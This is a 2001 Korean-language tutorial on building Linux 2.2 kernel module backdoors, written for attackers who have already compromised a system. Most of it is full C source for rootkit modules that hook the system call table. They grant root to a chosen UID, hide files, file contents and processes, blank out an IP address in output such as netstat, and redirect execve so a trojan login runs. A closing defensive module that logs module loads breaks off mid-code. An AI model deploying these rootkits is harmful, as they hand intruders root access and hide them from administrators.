====================================================================================== Title   : LKM (Linux Kernel Module) Backdooring Author  : TrueFinder , IGRUS & khdp.org (ROK) e-mail  : seo@igrus.inha.ac.kr Update  : 2001/3/2, 2001/3/23 ====================================================================================== INDEX         0. Preface         1. Linux Kernel Module         2. Basic Code "Hello world"         3. Intercept System Call         4. Magic UID Backdoor         5. Hiding Files         6. Hiding Contents         7. Fake Log         8. Hiding Process         9. Redirect Excutable File         10. Socket System Call         11. Tty Hijacking         12. Post script         13. Conf EOF_INDEX CONTENTS   0. Preface   --------- 우리가 사용하는 백도어는 아주 지져분한 상태로 admin들에게 쉽게 노출될 수 있었다. 해커들은 더 깨끗하고, 깔끔한 백도어를 원하는 시점에 이르렀고, 그들이 이제 kernel module을 이용한 backdoor에 주의를 기울이게 되었다. 근래 백도어들은 이제 한 단계의 진전을 이루어 kernel모드에서 작동한다. LKM 백도어는 프로세스와 화일을 완벽하게 감추고, 우리와 관련한 로그를 통제하며, 심지어는 아주 특수한 환경에서 해커에게 완벽한 권한을 쥐워준다. 본 문서에서는 어떻게 그러한 일을  발생 시킬수 있으며, 그 원리를 소스를 통해 찾아 보도록 하겠다. ( 본 소스는 linux kernel 2.2.x 환경하에서이다. 2.0.x에서의 소스는 다루지 않는다.)   1. Linux Kernel Module   ----------------------- linux kernel module은 kernel자신이 그 능력을 확장하기 위해 고안된 일종의 장착구조상의 확장팩 정도라고 보면 알맞겠다. 이것은 kernel을 다시 재 컴파일할 필요없이 커널을 수정하여 사용 할 수 있다. 또한 이것은 아주 동적으로 로드되거나 해채되어 질수 있다. 이를 테면 우리가 랜카드를 새로 사와서 끼워 넣었을때 우리는 기존의 우리 kernel을 재컴파일 할 필요가 없다. 단지 그 랜카드를 지원하게 구성되어있는 목적화일을 모듈로써 커널에 올려줌으로써 우리의 할 일을 줄일 수가 있는 것처럼.   2. Basic Code "Hello world"   --------------------------- Linux kernel module은 대충 다음의 구조를 갖는다. int init_module(void) {         ... } void clean_module(void) {         ... } 함수 init_module은 모듈의 초기화를 하는 곳이다. 우리 수퍼유저가 insmod 를 통해 커널에 우리의 커널 모듈 오브젝트를 올릴때 첫번째로 수행되는 부분이다. 마찮가지로 clean_module은 올려진 module을 제거할때 호출되는 함수가 된다. 실제 Hello world를 printk로 출력하는 소스를 보면서 커널 모듈에 대한 동작원리를 살펴보자. 아울러 이를 실행하고 컴파일하는 예까지 같이 볼것이다. ++ hello.c ++ /*   * hello.c   */ #define MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> int init_module(void) {         printk("Hello world\n");         return 0; } void clean_module(void) {         printk("It cleaned from kernel\n"); } -- hello.c -- 우리는 위 소스를 다음과 같이 수행과정을 함으로써 우리가 원하는 결과를 얻을수 있다. #gcc -c hello.c -O3 -Wall #/sbin/insmod hello 우리의 첫번째 모듈이 kernel에 올라가게 되었다. 이를 확인 하려면, /sbin/lsmod 했을 때 우리의 hello가 떠있는지를 확인하면 된다. dmesg |tail 로 "Hello world" 문자열을 확인하자. 이는 우리의 모듈이 처음 커널에 설치되면서 init_module이 수행되고 , printk함수가 호출되어 kernel이 남기는 메시지인 dmesg에 우리가 지시한 출력결과를 보여주게 된다.  이후 /sbin/rmmod hello 하면서 dmesg를 확인하자. 이때 clean_module이 호출되면서 printk를 수행한다. 그리고 위에 보이는 바와 같이 clean 되었음을 나타내는 한줄 문자열이 기록된다. 이것으로 우리는 hello의 구조와 작동원리를 간단하게 살펴 보았다.   insmod xxxx --> init_module() 수행.   rmmod xxxx --> clean_module() 수행. 또한, 우리의 프로그램이 kernel module프로그램임을 알리기 위해 위헤서 MODULE, __KERNEL__ 을 미리 정의해 놓자.   3. Intercepte System Call   ------------------------- 우리는 우리가 원하는 시스템콜을 module을 올리면서 가로챌수가 있다. 이는 앞으로 전개해 나갈 LKM의 주요원리가 된다. ++ intercept.c ++ #define MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> #include <sys/syscall.h> extern void* sys_call_table[];     int (*orig_mkdir)(const char *path); /*the original systemcall*/ int hacked_mkdir(const char *path) {   return 0; } int init_module(void)                 {   orig_mkdir=sys_call_table[__NR_mkdir];   sys_call_table[__NR_mkdir]=hacked_mkdir;   return 0; } void cleanup_module(void)             {   sys_call_table[__NR_mkdir]=orig_mkdir; } -- intercept.c -- 커널이 사용하는 함수의 위치는 전역변수 sys_call_table에 정의되어 있으며, 커널은 이곳을 참조하여 각 시스템 콜루틴의 위치를 찾아 실행하게 되어있다. 우리는 이 테이블을 접근할수 있으며, 충분히 기존의 system call의 함수위치를 우리의 것으로 치환 함으로써 그 system call의 호출시에 우리의 루틴을 수행할수 있게 된다. 이를 테면, 우리가 디렉토리를 만들때  커널이 호출하는 mkdir루틴은 이미 예약되어 있다.      sys_call_table[__NR_mkdir]    만약 우리가 우리의 함수를 모듈로 띄워 놓은후 이 위치에 우리의 함수를 가르키는 sysmbol을 가르키게 하면,   //int hacked_mkdir(const cahr *path)   //{   //        ....   //}      //int init_module(void)   //{   //        sys_call_table[__NR_mkdir] = hacked_mkdir;   //        ....   //}      프로세스가 mkdir을 했을때 (mkdir 시스템콜이 일어 났을때) kernel은 sys_call_table을   참조하여, 우리가 이미 선언해놓은 함수 hacked_mkdir()을 호출한다.   그리고 우리는 가로채진 mkdir()대신 hacked_mkdir()에서 우리의 작업을 수행할수 있다.   system call의 intercepting은 이런식으로 이루어 진다.      4. Magic UID Backdoor   --------------------- 다음으로 이러한 원리를 이용한 간단한 Masic UID 백도어를 만들어 볼수 있다. 우리의 에피타이져이다. 가볍게 훑어 보자. ++ masicuid.c ++ /*   * masicuid.c   */ #define MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> #include <asm/uaccess.h> #include <sys/syscall.h> #include <linux/malloc.h> #define MASICUID 500 extern void* sys_call_table[]; int (*orig_getuid)(); int hacked_getuid() {     int tmp;          if (current->uid=MASICUID) {               current->uid = 0;         current->euid = 0;         current->gid = 0;         current->egid = 0;         return 0;      }      tmp = (*orig_getuid) ();      return tmp; } int init_module(void) {   orig_getuid=sys_call_table[__NR_getuid];   sys_call_table[__NR_getuid]=hacked_getuid;   return 0; } void cleanup_module(void) {   sys_call_table[__NR_getuid]=orig_getuid;                                       } -- masicuid.c -- 여기서 우리는 getuid()시스템콜을 치환했다. 만약 getuid()호출이 일어나는 작업일 경우 user의 uid가 500번일때 그 작업의 수행후 유저가 루트가 되는 simple한 backdoor라고 볼 수 있겠다.  현제 프로세스를 가르키는 linux의 current 매크로로 부터 그 프로세스를 실행하는 유저에 대한 접근을 할 수 있다. 유저의 화일디스크립터 fd, 메모리영역 mm, 기타 권한... 여기서는 uid, euid, gid, egid를 0로 변화 시켜 getuid()를 호출하는 UID 500dml user가 root가 되게 하였다. 우리가 login시에 login은 getuid를 호출하게 되는데, 이때  우리의 uid가 500이면, 그대로 root #이 되는 것이다. 실제로 해보라. 굉장히 유쾌하게 즐겁다. 여기서 한가지, 각 시스템 유틸리티들이 OS에 요청하는 시스템 콜은 strace유틸리티로 확인 할 수있다. 예를 들어 ls가 요청하는 시스템콜은 다음과 같다. [seo@richard tmp]$ strace ls execve("/bin/ls", ["ls"], [/* 28 vars */]) = 0 brk(0)                                  = 0x8054a30 open("/etc/ld.so.preload", O_RDONLY)    = -1 ENOENT (No such file or directory) open("/etc/ld.so.cache", O_RDONLY)      = 3 fstat(3, {st_mode=0, st_size=0, ...})   = 0 mmap(0, 18278, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40014000 close(3)                                = 0 open("/lib/libc.so.6", O_RDONLY)        = 3 fstat(3, {st_mode=0, st_size=0, ...})   = 0 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3"..., 4096) = 4096 mmap(0, 987356, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x40019000 mprotect(0x40103000, 28892, PROT_NONE)  = 0 mmap(0x40103000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0xe9000) = 0x40103000 mmap(0x40107000, 12508, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40107000 close(3)                                = 0 mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4010b000 mprotect(0x40019000, 958464, PROT_READ|PROT_WRITE) = 0 mprotect(0x40019000, 958464, PROT_READ|PROT_EXEC) = 0 munmap(0x40014000, 18278)               = 0 personality(PER_LINUX)                  = 0 getpid()                                = 1667 brk(0)                                  = 0x8054a30 brk(0x8054bd0)                          = 0x8054bd0 brk(0x8055000)                          = 0x8055000 open("/usr/share/locale/locale.alias", O_RDONLY) = 3 fstat(3, {st_mode=0, st_size=0, ...})   = 0 mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40014000 read(3, "# Locale name alias data base.\n"..., 4096) = 2148 brk(0x8056000)                          = 0x8056000 read(3, "", 4096)                       = 0 close(3)                                = 0 munmap(0x40014000, 4096)                = 0 open("/usr/share/i18n/locale.alias", O_RDONLY) = -1 ENOENT (No such file or directory) open("/usr/share/locale/ko/LC_MESSAGES", O_RDONLY) = 3 fstat(3, {st_mode=0, st_size=0, ...})   = 0 close(3)                                = 0 open("/usr/share/locale/ko/LC_MESSAGES/SYS_LC_MESSAGES", O_RDONLY) = 3 fstat(3, {st_mode=0, st_size=0, ...})   = 0 mmap(0, 42, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40014000 close(3)                                = 0 open("/usr/share/locale/ko/LC_MONETARY", O_RDONLY) = 3 fstat(3, {st_mode=0, st_size=0, ...})   = 0 mmap(0, 93, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40015000 close(3)                                = 0 open("/usr/share/locale/ko/LC_COLLATE", O_RDONLY) = 3 fstat(3, {st_mode=S_ISVTX|0342, st_size=0, ...}) = 0 mmap(0, 784979, PROT_READ, MAP_PRIVATE, 3, 0) = 0x4010c000 close(3)                                = 0 open("/usr/share/locale/ko/LC_TIME", O_RDONLY) = 3 fstat(3, {st_mode=0, st_size=0, ...})   = 0 mmap(0, 508, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40016000 close(3)                                = 0 open("/usr/share/locale/ko/LC_NUMERIC", O_RDONLY) = 3 fstat(3, {st_mode=0, st_size=0, ...})   = 0 mmap(0, 27, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40017000 close(3)                                = 0 open("/usr/share/locale/ko/LC_CTYPE", O_RDONLY) = 3 fstat(3, {st_mode=S_ISVTX|051, st_size=0, ...}) = 0 mmap(0, 263142, PROT_READ, MAP_PRIVATE, 3, 0) = 0x401cc000 close(3)                                = 0 time(NULL)                              = 985428616 ioctl(1, TCGETS, {B9600 opost isig icanon echo ...}) = 0 ioctl(1, TIOCGWINSZ, {ws_row=34, ws_col=104, ws_xpixel=33, ws_ypixel=0}) = 0 brk(0x8059000)                          = 0x8059000 open("/dev/null", O_RDONLY|O_NONBLOCK|0x10000) = -1 ENOTDIR (Not a directory) open(".", O_RDONLY|O_NONBLOCK|0x10000)  = 3 fstat(3, {st_mode=0, st_size=0, ...})   = 0 fcntl(3, F_SETFD, FD_CLOEXEC)           = 0 brk(0x805b000)                          = 0x805b000 getdents(3, 0 48 12 48 28 48 /* 3 entries */, 3391) = 48 getdents(3, /* 0 entries */, 3391)      = 0 close(3)                                = 0 fstat(1, {st_mode=S_IFREG|S_ISUID, st_size=0, ...}) = 0 mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40018000 ioctl(1, TCGETS, {B9600 opost isig icanon echo ...}) = 0 write(1, "fuck.c\n", 7fuck.c )                 = 7 close(1)                                = 0 munmap(0x40018000, 4096)                = 0 _exit(0)                                = ?       % ls에서의 핵심 system call은 getdents()이다.          5. Hiding Files    ---------------    해커는 어느 순간에나 시스템에서 자신의 자취를 감추어야 한다. 작업을 하고 있는 때, 시스템을 경유하는 때, 혹은 아주 간단히 그 시스템을 둘러보는 때라도... 그러기 위해 이 섹션 아래에서 다루어질 코드들은 바로 online으로 자신의 자취를 감추는 것을 다룬다고 하겠다. 해커가 자신의 "작업화일"을 시스템에서 담배연기 사라지듯 그 누구에게도 (심지어는 sysadmin에게 까지) 안보이게 하는 기술을 의외로 간단하다. ls시 호출되는 system call인 getdents의  호출을 가로채서 우리의 화일 이름이 검출되는 entry포인터를 건너뛰어 사용자에게 출력 시켜주면 그만이다. ++hide_file.c++ /*    * hide_file.c    *    *  getdents()의 시스템 호출을 가로채서, user디스크립터에 있는 내용에 접근.    *  우리의 화일이 발견될 경우, 그 엔트리를 빼고, dirent를 구성.    *  user에게 넘겨줌.    *    */ #define MODULE #define __KERNEL__ #include<linux/module.h> #include<linux/kernel.h> #include<sys/syscall.h> #include<asm/uaccess.h> #include<linux/dirent.h> #include<linux/malloc.h> extern void* sys_call_table[]; int (*orig_getdents) (uint, struct dirent *, uint); int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) {     unsigned int tmp, n;     int t, proc =0;     struct inode *dinode;     struct dirent *dirp2, *dirp3;     char hide[] = "ourtool";          // 사용자 file descriptor에서 dir을 읽어옴.     tmp = (*orig_getdents) (fd, dirp, count);         dinode = current->files->fd[fd]->f_dentry->d_inode;     if( tmp > 0 )     {         // dirp2에 디렉토리영역 메모리마련. dirp의 내용 dirp2에 복사.         dirp2 = (struct dirent *)kmalloc(tmp, GFP_KERNEL);         copy_from_user(dirp2, dirp, tmp);         dirp3 = dirp2;         t = tmp;         while( t > 0)         {             n = dirp3->d_reclen;             t -= n;                          //hide_file검출될 경우.             if( strstr((char*)&(dirp3->d_name), (char *)&hide ) != NULL )             {                 //hide_file뒤의 내용을 dirp3엑세스 포인터위치에 옮김.                 if( t != 0)                     memmove(dirp3, (char *)dirp3 + dirp3->d_reclen, t );                 else                     dirp3->d_off = 1024;                 tmp -= n;             }             // . , ..의 경우 빠져나옮.             if( dirp3->d_reclen == 0)             {                 tmp -= t;                 t = 0;             }             // hide_file이 아닌경우 다음 엔트리 검색.             if( t!=0)                 dirp3 = (struct dirent*)( (char*) dirp3+dirp3->d_reclen );         }         // 위 내용을 dirp에 옮김.         copy_to_user(dirp, dirp2, tmp);         kfree(dirp2);     }     return tmp; } int init_module() {     orig_getdents = sys_call_table[__NR_getdents];     sys_call_table[__NR_getdents] = hacked_getdents;     return 0; } void cleanup_module() {     sys_call_table[__NR_getdents] = orig_getdents; } -- hide_file.c -- 커널 스페이스에 관한 정보와, getdents()의 호출은 각자 자세히 참고하기 바란다. 한가지, 커널은 user space에 대한 접근이 용이하지 않다. 따라서 kernel mode에서 작업을 하려면 kernel memory를 예약해야만 하고, 그것이 kmalloc()이다. 또한 이 결과를 현 유저의 memory에 넘겨주기위해 다음과 같은 함수를 사용한다. copy_from_user(); // user mode data -> kernel mode data copy_to_user();   // kernel mode data -> user mode data 실제로 위에서 정의한 hide_file "ourtool"이란 화일을 현  디렉토리에 만들고, 컴파일한 커널 모듈을 올려본후 ls을 해보기 바란다. 우리의 화일은 감쪽같이 사라져 있을 것이다.   6. Hide File Content   --------------------    하지만 우리의 hide_file은 컨텐츠가 user에 의해 보인다. 만약 sysadmin이 우리 화일이름을 알고 있을때 우리의 화일은 단순히 "cat xxxxx"에 의해 발견된다. 실제로 우리의 화일은 감쪽같이 사라진 것은 아니다. 우리 화일은 분명 존재하지만, 단지 directory 상에 보이지 않는 것일 뿐이다.  이는 해커에게 찜찜한 일이다. 이를 해결할 수 있는 아래 코드를 보자. 마찮가지로 open()을 가로채서 우리 화일의 이름이 검출되면, file이 존재하지 않는다는 에러를 발생시켜서 process를 중단시킨다. 에러가 발생함으로 우리의 화일은 누구도 볼수가 없다. ++ hide_content.c ++ /*    * hide_content.c    *    */ #define MODULE #define __KERNEL__ #include<linux/module.h> #include<linux/kernel.h> #include<sys/syscall.h> #include<asm/uaccess.h> #include<linux/malloc.h> #include<linux/string.h> extern void *sys_call_table[]; int (*orig_open)( const char *pathname, int flag, mode_t mode ); int hacked_open(const char *pathname, int flag, mode_t mode ) {     char *kernel_pathname;     char hide[] = "ourtool";          kernel_pathname = (char*) kmalloc( 256, GFP_KERNEL);          copy_from_user( kernel_pathname, pathname, 255 );          if( strstr(kernel_pathname, (char*)&hide) != NULL )     {         kfree(kernel_pathname);         return -ENOENT;     }     else     {         kfree(kernel_pathname);         return orig_open(pathname, flag, mode );     } } int init_module() {     orig_open = sys_call_table[__NR_open];     sys_call_table[__NR_open] = hacked_open;     return 0; } void cleanup_module() {     sys_call_table[__NR_open] = orig_open; } -- hide_content.c -- 이제 우리의 화일은 완벽하게 감추어져있다. 우리는 우리의 커널모듈을 올리고, 내리고 함으로써 우리의 화일을 감추는 짓을 완벽하게 해낼 수 있다.   7. Fake Log   ----------- ps, netstat , finger , w, who .... 이러한 유틸리티들은 해커의 존재를 아주 쉽게 드러낸다. @$@##$%$!@!#$ 이에 대처한 해커의 예전 방법은 직접 그들의 코드를 짜서 위 프로그램을 치환 하는 것이었다. !@#$@#$$%@#$@$ 이를 linux rootkit이라고 부른다. 특정 아이디, 아이피, 프로세스를 사용자 출력에서 제외하게 한 프로그램들이 었다. 그러나 이것은 굉장히 지져분한 방식일 뿐만 아니라, sysadmin에게 MD5라는 hash를 통해 발견되기 쉽다. 커널 모듈을 통한 Advanced한 방법을 찾아보자. 결국 무엇인가를 출력하는 것은 ioctl에 의한 디바이스에 뭔가를 쓰는 일(write())일 뿐이다. 시스템이 우리의 터미날에 출력을 하는 것도 ttyp? 에 write하는 것으로 간단하게 설명 되어 질수 있다. 그러면, 우리의 작업을 여기서 시작해보자. write()를 가로채고, write호출이 있을 시마다, 우리의 특정 스트링( id, ip, process)가 발견되는 가를 검색하고, 만약 있으면 그것을 다른 문자열 , 이를 테면 "    " 같이 공백으로 채우는 방법을 택해 보자. 우리는 write호출을 치환함으로써 우리의 ip를 절대 다른곳으로 노출시키지 않을수 있다. 우리의 지정된 ip는 "              "으로 치환된다.      ++ fake_log.c ++   /*    * fake_log.c    *    * replace his log to "              "    *    */ #define MODULE #define __KERNEL__ #include<linux/module.h> #include<linux/kernel.h> #include<sys/syscall.h> #include<asm/uaccess.h> #include<linux/malloc.h> extern void *sys_call_table[]; int (*orig_write)(unsigned int fd, char *buf, unsigned int count ); int hacked_write(unsigned int fd, char *buf, unsigned int count ) {     char *kernel_buf;     char hide[]    =  "165.246.33.54";     char replace[] =  "             ";     char *key;          kernel_buf = (char *) kmalloc( 128, GFP_KERNEL);     copy_from_user( kernel_buf, buf, 127 );          key = strstr(kernel_buf, (char*)&hide);     if( key != NULL )     {         strncpy( key, replace, strlen(replace) );         copy_to_user( buf, kernel_buf, 128);         kfree(kernel_buf);         return 0;     }     else{         kfree(kernel_buf);         return orig_write(fd, buf, count);     } } int init_module(void) {     orig_write = sys_call_table[__NR_write];     sys_call_table[__NR_write] = hacked_write;     return 0; } void cleanup_module() {     sys_call_table[__NR_write] = orig_write; } -- fake_log.c -- netstat를 해보자.  빙고!~ 우리의 아이피는 훌륭하게 감추어져 있다. 네트웍을 로그하는 측면에서 역시 log화일들엔 우리의 자취가 남지 않을 것이다. 이만하면 쓸만하지 않는가. ;-) 8. Hide Process --------------- 해커들은 그들의 작업 프로세스를 감추어야만 한다. 프로세스는 sysadmin들이 체크하는 첫번째 제거 대상이기 때문이다. ps상에서 우리의 존재는 바람과 같이 사라져야 한다. gone with wind...    process는 /proc아래의 process pid이름으로 구성된 디렉토리를 가지며, kernel이 각 프로세스를 다룰때, proc안의 모든 디렉토리를 검색하여 해당하는 pid를 task_struct로 바꾸어 process를 컨트롤하는 기법을 쓰고 있다. 여기서는 process를 리스팅하고자 하는 루틴에 대해 , getdents를 가로채고, /proc안의 모든 pid디렉토리를 검색한다. pid로 부터 메모리상의 task_struct를 얻고, 그 task의 이름을 우리의 mtroj과 비교, 일치하면 다음 포인터로 엔트리 점프. 소스를 보면서 이해하자. ++ hide_proc.c ++ /*    * hide_proc.c    *    * my hide_process.....    * 1. find process from /proc directory ....    * 2. get task_struct /proc/pid    * 3. compare task->comm(process name), mtroj's name    * 4. if it exist then jump to next /proc/???.  - loop    *    */ #define MODULE #define __KERNEL__ #include<linux/module.h> #include<linux/kernel.h> #include<sys/syscall.h> #include<asm/uaccess.h> #include<linux/dirent.h> #include<linux/malloc.h> #include<linux/string.h> #include<linux/proc_fs.h> extern void* sys_call_table[]; char mtroj[] = "fucking"; int (*orig_getdents)(unsigned int fd, struct dirent *dirp, unsigned int count ); //just to convert string -> number int myatoi(char *str) {     int res = 0;     int mul = 1;     char *ptr;          for(ptr = str + strlen(str) -1; ptr >= str; ptr--)     {         if( *ptr < '0' || *ptr > '9')             return -1;         res += (*ptr - '0') * mul;         mul *= 10;     }     return res; } // get task structure from pid struct task_struct *get_task(pid_t pid) {     struct task_struct *p = current;     do{         if(p->pid == pid)             return p;         p = p->next_task;     }     while (p != current );     return NULL; } // string compares with task->comm(process name), mtroj  returns 1(exist), 0(non) int invisible(pid_t pid ) {     struct task_struct *task = get_task(pid);     if (task) {         if(strstr(task->comm, (char*)&mtroj ))         // task->comm 은 프로세스 이름, mtroj은 우리가 감출 프로세스의 이름이다.                 return 1;         return 0;     } } int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) {     unsigned int tmp, n;     int t, proc =0;     struct inode *dinode;     struct dirent *dirp2, *dirp3;              // 사용자 file descriptor에서 dir을 읽어옴.     tmp = (*orig_getdents) (fd, dirp, count);         dinode = current->files->fd[fd]->f_dentry->d_inode;     /*process part*/     if( dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1 )         proc = 1;     if( tmp > 0 )     {         // dirp2에 디렉토리영역 메모리마련. dirp의 내용 dirp2에 복사.         dirp2 = (struct dirent *)kmalloc(tmp, GFP_KERNEL);         copy_from_user(dirp2, dirp, tmp);         dirp3 = dirp2;         t = tmp;         while( t > 0)         {             n = dirp3->d_reclen;             t -= n;                          //mtroj과 task->comm을 비교한다.             if( (proc && invisible(myatoi(dirp3->d_name)) ) )             {                 //mtroj 뒤의 내용을 dirp3엑세스 포인터위치에 옮김.                 if( t != 0)                     memmove(dirp3, (char *)dirp3 + dirp3->d_reclen, t );                 else                     dirp3->d_off = 1024;                     tmp -= n;             }             // . , ..의 경우 빠져나옮.             if( dirp3->d_reclen == 0)             {                 tmp -= t;                 t = 0;             }             // mtroj 이 아닌경우 다음 엔트리 검색.             if( t!=0)                 dirp3 = (struct dirent*)( (char*) dirp3+dirp3->d_reclen );         }         // 위 내용을 dirp에 옮김.         copy_to_user(dirp, dirp2, tmp);         kfree(dirp2);     }     return tmp; } int init_module() {     orig_getdents = sys_call_table[__NR_getdents];     sys_call_table[__NR_getdents] = hacked_getdents;     return 0; } void cleanup_module() {     sys_call_table[__NR_getdents] = orig_getdents; } -- hide_proc.c -- 디렉토리의 화일을 감추는 원리와 비슷하다. 단지 UNIX가 process조자 화일구조를 통한 엑세스를 한다는 것에 주의해 보자.   9. Rediect Excutable file   ------------------------- 일단 한 시스템이 점령되면, 해커는 2차공격을 위한 다른계정들에 대한 패스워드 해킹에 나선다. 네트웍에 있어서의 troijan이란 말은 바로 그런의미에서이다. 한 네트웍의 계정과 패스워드는 그 주위 시스템들에 대해 여과없이 적용되는 경우가 허다하기 때문이다. 예전까지만 해도 우리는 login프로그램을 우리의 소스 컴파일한 것으로 화일 자체를 치환하는 형태의 트로이잔을 사용했었다. 그러나, 앞서 말했듯이 MD5해쉬에 의해 sysadmin은 자신의 시스템의 login이 바뀌었음을 쉽게 탐지 할 수 있다. 그러면 우리의 kernel module를 이용해서 어떻게 이러한 장애를 극복할수 있을까? login프로그램 자체를 바꾸지 않고 ,우리의 로긴 프로그램은 다른 곳에 숨겨두고,  실행되어질 화일의 경로를 우리의 것으로 바꿔보자. 간단히 system call execve()를 가로채고 /bin/login실행시에 우리가 만들어논 트로이잔 /var/tmp/login로 치환하면 되겠다. 우리는 MD5의 장벽을 넘을 수 있다. 여기서는 우리의 execve() - asmebly code를 등록시키고, execve를 치환한다. 실행시킬 명령어의 path를 알기 위해 strncpy_from_user()를 쓴다. ++ redirect.c ++ /*    * redirect.c    *    */ #define MODULE #define __KERNEL__ #include<linux/module.h> #include<linux/kernel.h> #include<asm/uaccess.h> #include<sys/syscall.h> #include<linux/malloc.h> #include<linux/dirent.h> #include<linux/string.h> extern void *sys_call_table[]; int errno; int __NR_myexecve; static inline _syscall1( int, brk, void *, end_data_segment ); int (*orig_execve) (const char*, const char **, const char ** ); int my_execve( const char *filename, const char *argv[], const char *envp[] ) {//inline assembly code for execve system call     long __res;     __asm__ volatile(             "int $0x80":"=a" (__res):"0"(__NR_myexecve),             "b"( (long)(filename) ),             "c"( (long)(argv) ),             "d"( (long)(envp) )             );          return (int) __res; } int hacked_execve(const char *filename, const char *argv[], const char *envp[] ) {     char *test;     int ret, tmp;     char *truc = "/bin/ls";     char *nouveau = "/bin/ps";     unsigned long mmm;     test = (char*) kmalloc(strlen(truc) +2, GFP_KERNEL);     (void)strncpy_from_user(test, filename, strlen(truc) );     test[strlen(truc)] = '\0';             if( !strcmp( test, truc ))     {         kfree(test);         mmm = current->mm->brk;         ret = brk( (void*) (mmm + 256) );         if(ret < 0)             return ret;         copy_to_user( (void*) (mmm+2), nouveau, strlen(nouveau) + 1);         ret = my_execve( (char*)(mmm+2), argv, envp);         tmp = brk( (void*) mmm );     }     else {         kfree(test);         ret = my_execve(filename, argv, envp);     }     return ret; } int init_module(void) {     orig_execve = sys_call_table[__NR_execve];     __NR_myexecve = 200;     sys_call_table[__NR_myexecve] = orig_execve;          sys_call_table[__NR_execve] = (void*) hacked_execve;        return 0; } void cleanup_module(void) {     sys_call_table[__NR_execve] = orig_execve; } -- rediect.c -- 이 모듈을 올렸을때는 ls명령어가 ps를 실행시키는 꼴이 된다. 참고로 __NR_myexecve는 임의로 200의 system call 넘버를 부여한 것임을 밝힌다. 200번대 시스템콜이 사용되고 있을 경우 우리의 myexecve는 다른 빈곳을 찾아야 한다. 시스템이 망가지는 것을 방지하자. 자칫 필자의 커널처럼 쓰러져서 안 일어나는 경우가 발생한다.      10. Socket System Call Redirection    Sorry to my readers.I'm so lazy. my kernel was down and he didn't want to wake up. :( Remain it your problem here , to our hard study hackers. if you implemented it successfully , then e-mail to me i'm always waitting for your email . seo@igrus.inha.ac.kr   11. Tty Hijacking    reference Phrack 50-5 "Abuse of the Linux Kernel for Fun and Profit" by halflife   12. Postscript   Phrack 52-18의 "Weakening the Linux Kernel"이 나온지도 어언 2년이 지났다. 또한 현재는 solaris및 FreeBSD의 커널 백도어도 활발히 연구되어 보고 되었다. 많은 해커들이 크래킹에 있어 시스템 점령후 그들 커널 백도어를 사용하고 있다. -어쩌면 우리도 모르는 사이에 우리의 시스템이 그들의 손에 사용되고 있는지도 모른다. :(   위에서 예제로하는 소스들은 THC에서 발표한 소스를 커널 2.2.x에 맞게 수정한 것들이다. 이밖에도 LKM을 사용한 여러 백도어들이 많이 나와있지만, THC에서 발표한 문서들이 가장 교과서적이다. 참고적으로 THC에서 발표한 커널 2.0.x대의 백도어링 기법은 커널 2.2.x에서 정상적으로 작동하지 않으며, 적절하게 수행하려면 위의 소스를 사용할 것을 권유한다. 필자가 생각키로 이 버젼대의 커널이라면 무리없이 테스팅 될수 있을 것이다. 아울러 더 많은 부분을 참고하려면, plaguez의 Phrack문서 52-18 "Weakening the Linux Kernel", LDP의  "Linux kernel module programming guide" , R Magnus, U Kunitz, M beck..의  "Linux Kernel Internels" , Scott Maxwell의 "Linux core kernel commentary", THC가 kernel module해킹에 대해 정리해 놓은 "Complete Linux Loadable kernel Modules" 를 참고해 보기 바란다. 또한, 2.0.x -> 2.2.x 로의 커널 변화에 대해 소개해논 글중 Alan Cox의 "Porting Linux 2.0 Drivers To Linux 2.2: Changes and New Features"도 아울러 참고해 보면 좋을 것이다. 한가지 session 10, 11은 필자가 테스트를 하다가 커널을 너무 괴롭힌 관계로 그가 죽었기 때문에 이문서에서 소개하는 것을 보류 하였다. 11장은 이미 halflife에 의해  Phrack 50-5에 "Abuse of the Linux Kernel for Fun and Profit"소개 되었던 내용이다. 참고하라. 아무쪼록 이 간단한 소개 문서를 통해 커널 2.4.x에 대한 커널 모듈 백도어가 우리 나라에서 나와주길 간절히 기대하는 바이다.   13. Conf   ---------- 참고하라... 이러한 백도어링에 대한 방어모듈을 실었다. 해커들에겐 방어기법이 오히려 참고 사항아닌가... Heh 우리가 그 모듈의 이름을 알고 있다면, 분명 내릴수도 있다. 하지만, 그 모듈은 보이지 않을 수도 있다. 이를 위해 커널 보듈이 올라가는 시기마다 그 이름을 적는 모듈을 생성해 보자. 적어도 어떤 악의의 모듈이 올라갔다 내려온지는 파악이 되야 복구(?)가 가능하다. ++creat_module.c++ /*   * creat_module.c   * logs to kernel log ( like dmesg )   *   */ #define MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> #include <sys/syscall.h> #include <linux/malloc.h> #include <asm/uaccess.h> extern void* sys_call_table[]; int (*orig_create_module)(char*, unsigned long); int hacked_create_module(char *name, unsigned long size) {     char *kernel_name;     int ret;     kernel_name = (char*) kmalloc(256, GFP_KERNEL);     copy_from_user(kernel_name, name, 255);     /*here we log to syslog, but you can log where you want*/      printk("<1> SYS_CREATE_MODULE : %s\n", kernel_name);      ret = orig_create_module(name, size);      return ret; } int init_module(void)                /*module setup*/ {     orig_create_module=sys_call_table[SYS_create_module];     sys_call_table[SYS_create_module]=hacked_create_module;     return 0; } void cleanup_module(void)            /*module shutdown*/ {     